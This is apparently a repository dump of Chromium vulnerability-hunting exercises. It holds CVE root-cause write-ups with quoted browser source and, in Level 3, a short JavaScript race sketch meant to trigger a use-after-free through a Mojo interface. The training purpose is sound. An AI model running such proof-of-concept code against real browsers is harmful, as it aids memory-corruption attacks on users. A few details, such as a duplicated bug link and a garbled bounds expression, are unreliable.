89 | return ScriptPromise::CastUndefined(script_state_);
90 | }
91 |
92 | ScriptPromise InflateTransformer::Flush(
93 | TransformStreamDefaultController* controller,
94 | ExceptionState& exception_state) {
95 | DCHECK(!was_flush_called_);
96 | Inflate(nullptr, 0u, IsFinished(true), controller, exception_state);
97 | inflateEnd(&stream_);
98 | was_flush_called_ = true;
99 | out_buffer_.clear();
100 |
101 | if (!reached_end_) {
102 | exception_state.ThrowTypeError("Compressed input was truncated.");
103 | }
104 |
105 | return ScriptPromise::CastUndefined(script_state_);
106 | }
107 |
108 | void InflateTransformer::Inflate(const uint8_t* start,
109 | wtf_size_t length,
110 | IsFinished finished,
111 | TransformStreamDefaultController* controller,
112 | ExceptionState& exception_state) {
113 | if (reached_end_ && length != 0) {
114 | // zlib will ignore data after the end of the stream, so we have to
115 | // explicitly throw an error.
116 | exception_state.ThrowTypeError("Junk found after end of compressed data.");
117 | return;
118 | }
119 |
120 | stream_.avail_in = length;
121 | // Zlib treats this pointer as const, so this cast is safe.
122 | stream_.next_in = const_cast(start);
123 |
124 | do {
125 | stream_.avail_out = out_buffer_.size();
126 | stream_.next_out = out_buffer_.data();
127 | const int err = inflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);
128 | if (err != Z_OK && err != Z_STREAM_END && err != Z_BUF_ERROR) {
129 | DCHECK_NE(err, Z_STREAM_ERROR);
130 | if (err == Z_DATA_ERROR) {
131 | exception_state.ThrowTypeError(
132 | String("The compressed data was not valid: ") + stream_.msg + ".");
133 | } else {
134 | exception_state.ThrowTypeError("The compressed data was not valid.");
135 | }
136 | return;
137 | }
138 |
139 | wtf_size_t bytes = out_buffer_.size() - stream_.avail_out;
140 | if (bytes) {
141 | controller->enqueue(
142 | script_state_,
143 | ScriptValue::From(script_state_,
144 | DOMUint8Array::Create(out_buffer_.data(), bytes)),
145 | exception_state);
146 | if (exception_state.HadException()) {
147 | return;
148 | }
149 | }
150 |
151 | if (err == Z_STREAM_END) {
152 | reached_end_ = true;
153 | if (stream_.next_in < start + length) {
154 | exception_state.ThrowTypeError(
155 | "Junk found after end of compressed data.");
156 | }
157 | return;
158 | }
159 | } while (stream_.avail_out == 0);
160 | }
161 |
162 | void InflateTransformer::Trace(Visitor* visitor) const {
163 | visitor->Trace(script_state_);
164 | TransformStreamTransformer::Trace(visitor);
165 | }
166 |
167 | } // namespace blink
168 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_4/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 4
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-30565
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1210985
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046
30 | ```
31 |
32 | ### Related code
33 |
34 | [chrome/browser/ui/tabs/tab_strip_model.cc](https://source.chromium.org/chromium/chromium/src/+/e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046:chrome/browser/ui/tabs/tab_strip_model.cc)
35 |
36 | This time we analysis [`tab`](https://www.chromium.org/user-experience/tabs), a module of chrome. You can read [this](https://www.chromium.org/developers/design-documents/tab-strip-mac) to get info of `tab strip`.
37 |
38 | tips: You can get help from [CVE-2021-30526](https://bugs.chromium.org/p/chromium/issues/detail?id=1198717)
39 |
40 | ### Do it
41 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
42 |
43 |
44 | ---------
45 |
46 |
47 | My answer
48 |
49 | In my cognition, we can focus on `pinned tab`, because I notice this comment
50 | ```c++
51 | // Each tab may be pinned. Pinned tabs are locked to the left side of the tab
52 | // strip and rendered differently (small tabs with only a favicon). The model
53 | // makes sure all pinned tabs are at the beginning of the tab strip.
54 | ```
55 | If we can make a pinned tab is not at the left side of the tab strip, what happen?
56 |
57 | ```c++
58 | int TabStripModel::MoveWebContentsAt(int index,
59 | int to_position,
60 | bool select_after_move) {
61 | to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [1]
62 |
63 | if (index == to_position)
64 | return to_position;
65 |
66 | MoveWebContentsAtImpl(index, to_position, select_after_move);
67 | EnsureGroupContiguity(to_position);
68 |
69 | return to_position;
70 | }
71 | ======================================================
72 | int TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const {
73 | return pinned_tab
74 | ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) [2]
75 | : base::ClampToRange(index, IndexOfFirstNonPinnedTab(),
76 | count() - 1);
77 | }
78 | ======================================================
79 | template
80 | constexpr const T& ClampToRange(const T& value, const T& min, const T& max) {
81 | return std::min(std::max(value, min), max);
82 | }
83 | ```
84 | If we make pinned tab at index 1, and non-pinned tab at 0. Then we move pinned tab to 0, this will trigger `MoveWebContentsAt`.
85 |
86 | [1] `ConstrainMoveIndex(0, true);`, and [2] `min(1, 0, 0 - 1)`. This will result in an OOB write
87 |
88 | How can we make a pinned tab that's not at the start of the tab strip?
89 | ```c++
90 | void TabStripModel::MoveTabRelative(bool forward) {
91 | const int offset = forward ? 1 : -1;
92 |
93 | // TODO: this needs to be updated for multi-selection.
94 | const int current_index = active_index();
95 | absl::optional current_group =
96 | GetTabGroupForTab(current_index);
97 |
98 | int target_index = std::max(std::min(current_index + offset, count() - 1), 0);
99 | absl::optional target_group =
100 | GetTabGroupForTab(target_index);
101 |
102 | // If the tab is at a group boundary and the group is expanded, instead of
103 | // actually moving the tab just change its group membership.
104 | if (current_group != target_group) {
105 | if (current_group.has_value()) {
106 | UngroupTab(current_index);
107 | return;
108 | } else if (target_group.has_value()) {
109 | // If the tab is at a group boundary and the group is collapsed, treat the
110 | // collapsed group as a tab and find the next available slot for the tab
111 | // to move to.
112 | const TabGroup* group = group_model_->GetTabGroup(target_group.value());
113 | if (group->visual_data()->is_collapsed()) {
114 | const gfx::Range tabs_in_group = group->ListTabs();
115 | target_index =
116 | forward ? tabs_in_group.end() - 1 : tabs_in_group.start();
117 | } else {
118 | GroupTab(current_index, target_group.value());
119 | return;
120 | }
121 | }
122 | }
123 | MoveWebContentsAt(current_index, target_index, true);
124 | }
125 | ```
126 | `TabStripModel::MoveTabRelative` doesn't check whether a tab is pinned, so we can move pinned tab to a group. But a pinned tab typically can't be placed in a group, so the `Groups.move` operation have no check about move pinned tab to index 1 or other. Then the `IndexOfFirstNonPinnedTab` can be 0 at the same time pinned tab index 1.
127 |
128 |
129 |
130 |
131 |
132 | --------
133 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_5/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 5
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-21159
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1171049
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard ae7b398ad2ba00cbf901fda43305ad9b371d534a
30 | ```
31 |
32 | ### Related code
33 | chrome/browser/ui/views/tabs/tab_drag_controller.cc
34 |
35 | chrome/browser/ui/tabs/tab_strip_model.cc
36 |
37 | you have to read the `tab_drag_controller.h` and `tab_strip_model.h` to understand some nouns.
38 |
39 | tips:
40 |
41 | **TabDragController**
42 | ```c++
43 | // TabDragController is responsible for managing the tab dragging session. When
44 | // the user presses the mouse on a tab a new TabDragController is created and
45 | // Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough
46 | // TabDragController starts a drag session. The drag session is completed when
47 | // EndDrag() is invoked (or the TabDragController is destroyed).
48 | //
49 | // While dragging within a tab strip TabDragController sets the bounds of the
50 | // tabs (this is referred to as attached). When the user drags far enough such
51 | // that the tabs should be moved out of the tab strip a new Browser is created
52 | // and RunMoveLoop() is invoked on the Widget to drag the browser around. This
53 | // is the default on aura.
54 | ```
55 | **TabStripModel**
56 | ```c++
57 | // TabStripModel
58 | //
59 | // A model & low level controller of a Browser Window tabstrip. Holds a vector
60 | // of WebContentses, and provides an API for adding, removing and
61 | // shuffling them, as well as a higher level API for doing specific Browser-
62 | // related tasks like adding new Tabs from just a URL, etc.
63 | //
64 | // Each tab may be pinned. Pinned tabs are locked to the left side of the tab
65 | // strip and rendered differently (small tabs with only a favicon). The model
66 | // makes sure all pinned tabs are at the beginning of the tab strip. For
67 | // example, if a non-pinned tab is added it is forced to be with non-pinned
68 | // tabs. Requests to move tabs outside the range of the tab type are ignored.
69 | // For example, a request to move a pinned tab after non-pinned tabs is ignored.
70 | //
71 | // A TabStripModel has one delegate that it relies on to perform certain tasks
72 | // like creating new TabStripModels (probably hosted in Browser windows) when
73 | // required. See TabStripDelegate above for more information.
74 | //
75 | // A TabStripModel also has N observers (see TabStripModelObserver above),
76 | // which can be registered via Add/RemoveObserver. An Observer is notified of
77 | // tab creations, removals, moves, and other interesting events. The
78 | // TabStrip implements this interface to know when to create new tabs in
79 | // the View, and the Browser object likewise implements to be able to update
80 | // its bookkeeping when such events happen.
81 | //
82 | // This implementation of TabStripModel is not thread-safe and should only be
83 | // accessed on the UI thread.
84 | ```
85 | ### Do it
86 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
87 |
88 |
89 | ---------
90 |
91 |
92 | My answer
93 |
94 | ```c++
95 | // Restores |initial_selection_model_| to the |source_context_|.
96 | void TabDragController::RestoreInitialSelection() {
97 | // First time detaching from the source tabstrip. Reset selection model to
98 | // initial_selection_model_. Before resetting though we have to remove all
99 | // the tabs from initial_selection_model_ as it was created with the tabs
100 | // still there.
101 | ui::ListSelectionModel selection_model = initial_selection_model_; [1]
102 | for (DragData::const_reverse_iterator i(drag_data_.rbegin());
103 | i != drag_data_.rend(); ++i) {
104 | if (i->source_model_index != TabStripModel::kNoTab)
105 | selection_model.DecrementFrom(i->source_model_index);
106 | }
107 | // We may have cleared out the selection model. Only reset it if it
108 | // contains something.
109 | if (selection_model.empty())
110 | return;
111 |
112 | // The anchor/active may have been among the tabs that were dragged out. Force
113 | // the anchor/active to be valid.
114 | if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex)
115 | selection_model.set_anchor(*selection_model.selected_indices().begin());
116 | if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex)
117 | selection_model.set_active(*selection_model.selected_indices().begin());
118 | source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model); [2]
119 | }
120 | =================================================================
121 | void TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) {
122 | DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active());
123 | SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE, [3]
124 | /*triggered_by_other_operation=*/false);
125 | }
126 | ```
127 | [1] make `selection_model == initial_selection_model_`
128 |
129 | > Tabs in |source_context_| may have closed since the drag began. In that
130 | > case, |initial_selection_model_| may include indices that are no longer
131 | > valid in |source_context_|.
132 |
133 | [2]|[3] call `SetSelection` and `selection_model` as its parameter which have unvalid indices.
134 |
135 | ```c++
136 | TabStripSelectionChange TabStripModel::SetSelection(
137 | ui::ListSelectionModel new_model,
138 | TabStripModelObserver::ChangeReason reason,
139 | bool triggered_by_other_operation) {
140 | TabStripSelectionChange selection;
141 | selection.old_model = selection_model_;
142 | selection.old_contents = GetActiveWebContents();
143 | selection.new_model = new_model;
144 | selection.reason = reason;
145 |
146 | // This is done after notifying TabDeactivated() because caller can assume
147 | // that TabStripModel::active_index() would return the index for
148 | // |selection.old_contents|.
149 | selection_model_ = new_model; [4]
150 | selection.new_contents = GetActiveWebContents();
151 |
152 | if (!triggered_by_other_operation &&
153 | (selection.active_tab_changed() || selection.selection_changed())) {
154 | if (selection.active_tab_changed()) {
155 | auto now = base::TimeTicks::Now();
156 | if (selection.new_contents &&
157 | selection.new_contents->GetRenderWidgetHostView()) {
158 | auto input_event_timestamp =
159 | tab_switch_event_latency_recorder_.input_event_timestamp();
160 | // input_event_timestamp may be null in some cases, e.g. in tests.
161 | selection.new_contents->GetRenderWidgetHostView()
162 | ->SetRecordContentToVisibleTimeRequest(
163 | !input_event_timestamp.is_null() ? input_event_timestamp : now,
164 | resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded(
165 | selection.new_contents),
166 | /*show_reason_tab_switching=*/true,
167 | /*show_reason_unoccluded=*/false,
168 | /*show_reason_bfcache_restore=*/false);
169 | }
170 | tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now);
171 | }
172 | TabStripModelChange change;
173 | auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection);
174 | for (auto& observer : observers_)
175 | observer.OnTabStripModelChanged(this, change, selection);
176 | }
177 |
178 | return selection;
179 | }
180 | ```
181 | [4] Notice that `SetSelection` have no check about whether the `new_model.selected_indices()` are exist.
182 |
183 | In a word, detaching a drag after a tab closed will trigger the uaf.
184 |
185 |
186 | --------
187 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_6/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 6
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2021-21190
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1166091
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard 53913f6b138c7b0cd9771c1b6ab82a143996ef9e
30 | ```
31 |
32 | ### Related code
33 | pdf/pdfium/pdfium_page.cc
34 |
35 |
36 | ### Do it
37 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
38 |
39 |
40 | ---------
41 |
42 |
43 | My answer
44 |
45 | ```c++
46 | // Function: FPDF_PageToDevice
47 | // Convert the page coordinates of a point to screen coordinates.
48 | // Parameters:
49 | // page - Handle to the page. Returned by FPDF_LoadPage.
50 | // start_x - Left pixel position of the display area in
51 | // device coordinates.
52 | // start_y - Top pixel position of the display area in device
53 | // coordinates.
54 | // size_x - Horizontal size (in pixels) for displaying the page.
55 | // size_y - Vertical size (in pixels) for displaying the page.
56 | // rotate - Page orientation:
57 | // 0 (normal)
58 | // 1 (rotated 90 degrees clockwise)
59 | // 2 (rotated 180 degrees)
60 | // 3 (rotated 90 degrees counter-clockwise)
61 | // page_x - X value in page coordinates.
62 | // page_y - Y value in page coordinate.
63 | // device_x - A pointer to an integer receiving the result X
64 | // value in device coordinates.
65 | // device_y - A pointer to an integer receiving the result Y
66 | // value in device coordinates.
67 | // Return value:
68 | // Returns true if the conversion succeeds, and |device_x| and
69 | // |device_y| successfully receives the converted coordinates.
70 | // Comments:
71 | // See comments for FPDF_DeviceToPage().
72 | FPDF_EXPORT FPDF_BOOL FPDF_CALLCONV FPDF_PageToDevice(FPDF_PAGE page,
73 | int start_x,
74 | int start_y,
75 | int size_x,
76 | int size_y,
77 | int rotate,
78 | double page_x,
79 | double page_y,
80 | int* device_x,
81 | int* device_y) {
82 | if (!page || !device_x || !device_y)
83 | return false;
84 |
85 | IPDF_Page* pPage = IPDFPageFromFPDFPage(page);
86 | const FX_RECT rect(start_x, start_y, start_x + size_x, start_y + size_y);
87 | CFX_PointF page_point(static_cast(page_x), static_cast(page_y));
88 | absl::optional pos =
89 | pPage->PageToDevice(rect, rotate, page_point);
90 | if (!pos.has_value())
91 | return false;
92 |
93 | *device_x = FXSYS_roundf(pos->x);
94 | *device_y = FXSYS_roundf(pos->y);
95 | return true;
96 | }
97 | ```
98 | This cve reward 500, but the same issue exists in many places.
99 |
100 | ```c++
101 | gfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point,
102 | double zoom,
103 | double left,
104 | double top,
105 | double right,
106 | double bottom,
107 | PageOrientation orientation) const {
108 | if (!available_)
109 | return gfx::Rect();
110 | [ ... ]
111 | FPDF_BOOL ret = FPDF_PageToDevice(
112 | page(), static_cast(start_x), static_cast(start_y),
113 | static_cast(ceil(size_x)), static_cast(ceil(size_y)),
114 | ToPDFiumRotation(orientation), left, top, &new_left, &new_top);
115 | DCHECK(ret);
116 | ret = FPDF_PageToDevice(
117 | page(), static_cast(start_x), static_cast(start_y),
118 | static_cast(ceil(size_x)), static_cast(ceil(size_y)),
119 | ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom);
120 | DCHECK(ret); [1]
121 | [ ... ]
122 | }
123 | ```
124 | [1] `FPDF_PageToDevice` return false if `pos` memory uninitialized.
125 |
126 | > DCHECK() here isn't sufficient to prevent the use of uninitialized
127 | > memory should this someday return false.
128 |
129 | The purpose of using this cve is to remind everyone that if the return value means important, we must CHECK it not just DCHECK. For example, if there is func check whether the `var` has been initialize, return true or false. But we DCHECK the return value, it cause that if the `var` is uninitialized, we cann't prevent to use it in release build.
130 |
131 |
132 |
133 | --------
134 |
--------------------------------------------------------------------------------
/LEVEL_2/exercise_7/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 7
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.
4 |
5 | ## CVE-2020-6422
6 | I sugget you don't search any report about it to prevents get too much info like patch.
7 |
8 |
9 | ### Details
10 |
11 | In level 2, we do it without the help of Details
12 |
13 |
14 | ---------
15 |
16 |
17 | For more info click me! But you'd better not do this
18 |
19 | https://bugs.chromium.org/p/chromium/issues/detail?id=1166091
20 |
21 |
22 |
23 | --------
24 |
25 | ### Set environment
26 |
27 | after you fetch chromium
28 | ```sh
29 | git reset --hard a8b9044e5a317034dca14763906aed6fa743ab58
30 | ```
31 |
32 |
33 | ### Related code
34 |
35 | third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
36 |
37 | tips: Not all delete operation set `var` null. In some cases we need save the destoried var for next step.
38 |
39 | The bug is in the last quarter of the source code.
40 |
41 | ### Do it
42 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
43 |
44 |
45 | ---------
46 |
47 |
48 | My answer
49 |
50 | This cve describes a type of vulnerability for us.
51 | ```c++
52 | void WebGLRenderingContextBase::PrintWarningToConsole(const String& message) {
53 | blink::ExecutionContext* context = Host()->GetTopExecutionContext();
54 | if (context) { [1]
55 | context->AddConsoleMessage(MakeGarbageCollected(
56 | mojom::ConsoleMessageSource::kRendering,
57 | mojom::ConsoleMessageLevel::kWarning, message));
58 | }
59 | }
60 | ```
61 | `if (context)` can not check whether the `context` has been destoried, and then it can cause uap. We need check `context->IsContextDestroyed()`.
62 | ```c++
63 | // Now that the context and context group no longer hold on to the
64 | // objects they create, and now that the objects are eagerly finalized
65 | // rather than the context, there is very little useful work that this
66 | // destructor can do, since it's not allowed to touch other on-heap
67 | // objects. All it can do is destroy its underlying context, which, if
68 | // there are no other contexts in the same share group, will cause all of
69 | // the underlying graphics resources to be deleted. (Currently, it's
70 | // always the case that there are no other contexts in the same share
71 | // group -- resource sharing between WebGL contexts is not yet
72 | // implemented, and due to its complex semantics, it's doubtful that it
73 | // ever will be.)
74 | void WebGLRenderingContextBase::DestroyContext() {
75 | if (!GetDrawingBuffer())
76 | return;
77 |
78 | clearProgramCompletionQueries();
79 |
80 | extensions_util_.reset();
81 |
82 | base::RepeatingClosure null_closure;
83 | base::RepeatingCallback null_function;
84 | GetDrawingBuffer()->ContextProvider()->SetLostContextCallback(
85 | std::move(null_closure));
86 | GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback(
87 | std::move(null_function));
88 |
89 | DCHECK(GetDrawingBuffer());
90 | drawing_buffer_->BeginDestruction();
91 | drawing_buffer_ = nullptr;
92 | }
93 | ```
94 |
95 | Do this cve for exercise aims to let you know this type of vulnerability.
96 |
97 |
98 |
99 |
100 | --------
101 |
--------------------------------------------------------------------------------
/LEVEL_3/README.md:
--------------------------------------------------------------------------------
1 | # LEVEL 3
2 |
3 | In LEVEL 1 | 2, we do exercise for bug hunting, but we seem forget the Poc.
4 |
5 | We need Poc to prove that we find one truly bug, and help developer repair this bug.
6 |
7 | This time, we need construct Poc(important) and find the bug.
--------------------------------------------------------------------------------
/LEVEL_3/exercise_1/README.md:
--------------------------------------------------------------------------------
1 | # Exercise 1
2 |
3 | In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.
4 |
5 | LEVEL 2 we do the same as LEVEL 1 without the help of Details.
6 |
7 | But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.
8 |
9 | ## CVE-2021-21226
10 | I sugget you don't search any report about it to prevents get too much info like patch.
11 |
12 |
13 |
14 | ### Details
15 |
16 | In level 3, we do it without the help of Details
17 |
18 |
19 | ---------
20 |
21 |
22 | For more info click me! But you'd better not do this
23 |
24 | https://bugs.chromium.org/p/chromium/issues/detail?id=1197904
25 |
26 |
27 |
28 | --------
29 |
30 | ### Set environment
31 |
32 | after you fetch chromium
33 | ```sh
34 | git reset --hard f65d388c65bafd029be64609eb5e29243376f8ed
35 | ```
36 |
37 |
38 | ### Related code
39 | chrome/browser/navigation_predictor/navigation_predictor.cc
40 |
41 |
42 | ### Do it
43 | Do this exercise by yourself, If you find my answer have something wrong, please correct it.
44 |
45 |
46 | ---------
47 |
48 |
49 | My answer
50 |
51 | ```c++
52 | // It is possible for this class to still exist while its WebContents and
53 | // RenderFrameHost are being destroyed. This can be detected by checking
54 | // |web_contents()| which will be nullptr if the WebContents has been
55 | // destroyed.
56 | ```
57 | By this comment, we can get if we need do some by `browser_context_` we need check whether web_contents_ alive to provent UAF.
58 |
59 | ```c++
60 | // This class gathers metrics of anchor elements from both renderer process
61 | // and browser process. Then it uses these metrics to make predictions on what
62 | // are the most likely anchor elements that the user will click.
63 | class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost,
64 | public content::WebContentsObserver,
65 | public prerender::NoStatePrefetchHandle::Observer {
66 | public:
67 | explicit NavigationPredictor(content::WebContents* web_contents);
68 | ~NavigationPredictor() override;
69 | // [ ... ]
70 | private:
71 | // Used to get keyed services.
72 | content::BrowserContext* const browser_context_; // raw ptr
73 | ```
74 | > Previously, it was possible for the BrowserContext to be destroyed
75 | before ReportAnchorElementMetricsOnClick attempted to access it.
76 | >
77 | > The fix uses the fact that NavigationPredictor extends
78 | WebContentsObserver and checks that web_contents is still alive
79 | before dereferencing BrowserContext. WebContents will always
80 | outlive BrowserContext.
81 |
82 | **Poc**
83 | Because this cve is about mojo and can make sandbox escape, so we need some knowledge about how bind mojo interface. You can read [offical doc](https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/public/js/README.md#interfaces) or other chrome ctf challenge wp(recommend)
84 |
85 | We just need call `ReportAnchorElementMetricsOnClick` after remove window by race.
86 | ```c++
87 | void NavigationPredictor::ReportAnchorElementMetricsOnClick(
88 | blink::mojom::AnchorElementMetricsPtr metrics) {
89 | DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
90 | DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor));
91 |
92 | if (browser_context_->IsOffTheRecord()) [1]
93 | return;
94 |
95 | if (!IsValidMetricFromRenderer(*metrics)) {
96 | mojo::ReportBadMessage("Bad anchor element metrics: onClick.");
97 | return;
98 | }
99 | [ ... ]
100 | ```
101 | [1] has no check whether the `browser_context_` has been freed, so we can remove the window then call `ReportAnchorElementMetricsOnClick` to trigger uaf.
102 |
103 | The following code is just a demo, you can get complete code [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1197904)
104 | ```js
105 | async function poc() {
106 | // call ReportAnchorElementMetricsOnClick for mulipy
107 | let win1 = await createWindow({url: "https://localhost:8080/child.html", incognito: true});
108 |
109 | // remove the window
110 | setTimeout(function() {
111 | removeWindow(win1.id);
112 | }, 1200);
113 | }
114 |
115 | // in child.html
116 | async function posttask() {
117 | const MAX = 65536;
118 | for(var i = 0 ; i < MAX; i++){
119 | // call ReportAnchorElementMetricsOnClick to trigger uaf
120 | anchor_ptr.reportAnchorElementMetricsOnClick(anchor_elements);
121 | }
122 | }
123 |
124 | setTimeout(function() {
125 | posttask();
126 | }, 1000);
127 | ```
128 |
129 | we trigger race by `setTimeout`
130 |
131 |
132 |
133 |
134 | --------
135 |
--------------------------------------------------------------------------------
/LEVEL_3/exercise_1/navigation_predictor.h:
--------------------------------------------------------------------------------
1 | // Copyright 2018 The Chromium Authors. All rights reserved.
2 | // Use of this source code is governed by a BSD-style license that can be
3 | // found in the LICENSE file.
4 |
5 | #ifndef CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_
6 | #define CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "base/macros.h"
15 | #include "base/optional.h"
16 | #include "base/sequence_checker.h"
17 | #include "base/time/time.h"
18 | #include "components/no_state_prefetch/browser/no_state_prefetch_handle.h"
19 | #include "content/public/browser/visibility.h"
20 | #include "content/public/browser/web_contents_observer.h"
21 | #include "mojo/public/cpp/bindings/pending_receiver.h"
22 | #include "services/metrics/public/cpp/ukm_recorder.h"
23 | #include "services/metrics/public/cpp/ukm_source_id.h"
24 | #include "third_party/blink/public/mojom/loader/navigation_predictor.mojom.h"
25 | #include "ui/gfx/geometry/size.h"
26 | #include "url/origin.h"
27 |
28 | namespace content {
29 | class BrowserContext;
30 | class NavigationHandle;
31 | class RenderFrameHost;
32 | } // namespace content
33 |
34 | namespace prerender {
35 | class NoStatePrefetchManager;
36 | }
37 |
38 | class TemplateURLService;
39 |
40 | // This class gathers metrics of anchor elements from both renderer process
41 | // and browser process. Then it uses these metrics to make predictions on what
42 | // are the most likely anchor elements that the user will click.
43 | class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost,
44 | public content::WebContentsObserver,
45 | public prerender::NoStatePrefetchHandle::Observer {
46 | public:
47 | explicit NavigationPredictor(content::WebContents* web_contents);
48 | ~NavigationPredictor() override;
49 |
50 | // Create and bind NavigationPredictor.
51 | static void Create(content::RenderFrameHost* render_frame_host,
52 | mojo::PendingReceiver receiver);
53 |
54 | // Enum describing the possible set of actions that navigation predictor may
55 | // take. This enum should remain synchronized with enum
56 | // NavigationPredictorActionTaken in enums.xml. Order of enum values should
57 | // not be changed since the values are recorded in UMA.
58 | enum class Action {
59 | kUnknown = 0,
60 | kNone = 1,
61 | // DEPRECATED: kPreresolve = 2,
62 | // DEPRECATED: kPreconnect = 3,
63 | kPrefetch = 4,
64 | // DEPRECATED: kPreconnectOnVisibilityChange = 5,
65 | // DEPRECATED: kPreconnectOnAppForeground = 6, // Deprecated.
66 | // DEPRECATED: kPreconnectAfterTimeout = 7,
67 | kMaxValue = kPrefetch,
68 | };
69 |
70 | // Enum to report the prerender result of the clicked link. Changes must be
71 | // propagated to enums.xml, and the enum should not be re-ordered.
72 | enum class PrerenderResult {
73 | // The prerender finished entirely before the link was clicked.
74 | kSameOriginPrefetchFinished = 0,
75 | // The prerender was started but not finished before the user navigated or
76 | // backgrounded the page.
77 | kSameOriginPrefetchPartiallyComplete = 1,
78 | // The link was waiting to be prerendered while another prerender was in
79 | // progress.
80 | kSameOriginPrefetchInQueue = 2,
81 | // The prerender was attempted, but a prerender mechanism skipped the
82 | // prerender.
83 | kSameOriginPrefetchSkipped = 3,
84 | // The link was same origin, but scored poorly in the decider logic.
85 | kSameOriginBelowThreshold = 4,
86 | // The URL was not seen in the load event.
87 | kSameOriginNotSeen = 5,
88 | // The link was cross origin and scored above the threshold, but we did not
89 | // prerender it.
90 | kCrossOriginAboveThreshold = 6,
91 | // The link was cross origin and scored below the threshold.
92 | kCrossOriginBelowThreshold = 7,
93 | // The URL was not seen in the load event.
94 | kCrossOriginNotSeen = 8,
95 | kMaxValue = kCrossOriginNotSeen,
96 | };
97 |
98 | private:
99 | // Struct holding navigation score, rank and other info of the anchor element.
100 | // Used for look up when an anchor element is clicked.
101 | struct NavigationScore;
102 |
103 | // blink::mojom::AnchorElementMetricsHost:
104 | void ReportAnchorElementMetricsOnClick(
105 | blink::mojom::AnchorElementMetricsPtr metrics) override;
106 | void ReportAnchorElementMetricsOnLoad(
107 | std::vector metrics,
108 | const gfx::Size& viewport_size) override;
109 |
110 | // content::WebContentsObserver:
111 | void OnVisibilityChanged(content::Visibility visibility) override;
112 | void DidStartNavigation(
113 | content::NavigationHandle* navigation_handle) override;
114 |
115 | // prerender::NoStatePrefetchHandle::Observer:
116 | void OnPrefetchStop(prerender::NoStatePrefetchHandle* handle) override;
117 | void OnPrefetchNetworkBytesChanged(
118 | prerender::NoStatePrefetchHandle* handle) override {}
119 |
120 | // Returns true if the anchor element metric from the renderer process is
121 | // valid.
122 | bool IsValidMetricFromRenderer(
123 | const blink::mojom::AnchorElementMetrics& metric) const;
124 |
125 | // Returns template URL service. Guaranteed to be non-null.
